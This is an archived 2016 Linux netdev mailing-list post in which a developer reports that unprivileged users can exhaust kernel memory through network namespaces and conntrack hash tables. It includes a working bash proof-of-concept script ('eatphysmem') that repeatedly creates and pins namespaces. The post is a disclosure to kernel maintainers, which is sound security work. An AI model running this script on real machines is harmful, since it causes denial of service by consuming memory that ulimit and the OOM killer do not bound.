From: yumkam@gmail.com (Yuriy M. Kaminskiy)
To: netdev@vger.kernel.org
Subject: [q] userns, netns, and quick physical memory consumption by unprivileged user
Date: Wed, 02 Mar 2016 23:38:11 +0300 [thread overview]
Message-ID: <m3d1rclioc.fsf@gmail.com> (raw)
While looking at 759c01142a5d0f364a462346168a56de28a80f52, I remembered about
infamous
nf_conntrack: falling back to vmalloc
message, that was often triggered by network namespace creation (message
was removed recently, but it changed nothing with underlying problem).
So, how about something like this:
$ cat << EOF >> eatphysmem
#!/bin/bash -xe
fd=6
d="`mktemp -d /tmp/eatmemXXXXXXXXX`"
cd "$d"
rule="iptables -A INPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT"
# rule="$rule;$rule"
# ... just because we can; same with any number of ip ro/ru/etc
while :; do
#for i in {1..1024}; do
let fd=fd+1
if [ -e /proc/$$/fd/$fd ]; then continue;fi
mkfifo f1 f2
unshare -rn sh -xec "echo foo >f1;ip li se lo up; $rule;read r <f2" &
pid=$!
read r <f1
eval "exec $fd</proc/$pid/ns/net"
echo bar >f2
wait
rm f2 f1
sleep 1s
done
sleep inf
EOF
$ chmod a+x eatphysmem; unshare -rpf --mount-proc ./eatphysmem
?
You can easily eat 0.5M physical memory per netns (conntrack hash table
(hashsize*sizeof(list_head))) and more, and pin them to single process
with opened netns fds.
What can stop it?
ulimit? What is ulimit? Conntrack knows nothing about them.
Ah-yeah, `ulimit -n`? 64k. 64k*512k = 32G. Per process. Oh-uh.
OOM killer? But this is not this process memory; if any, it will be
killed last.
(I wonder, if memcg can tackle it; probably yes; but how many people
have it configured?).
next reply other threads:[~2016-03-02 20:38 UTC|newest]
Thread overview: 8+ messages / expand[flat|nested] mbox.gz Atom feed top
2016-03-02 20:38 Yuriy M. Kaminskiy [this message]
2016-03-11 15:06 ` userns, netns, and quick physical memory consumption by unprivileged user Yuriy M. Kaminskiy
2016-03-11 15:06 ` Yuriy M. Kaminskiy
2016-03-11 15:34 ` Florian Westphal
2016-03-12 11:41 ` Pablo Neira Ayuso
2016-03-12 13:35 ` Yuriy M. Kaminskiy
2016-03-14 9:14 ` Michal Hocko
2016-03-14 15:12 ` Yuriy M. Kaminskiy
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=m3d1rclioc.fsf@gmail.com \
--to=yumkam@gmail.com \
--cc=netdev@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.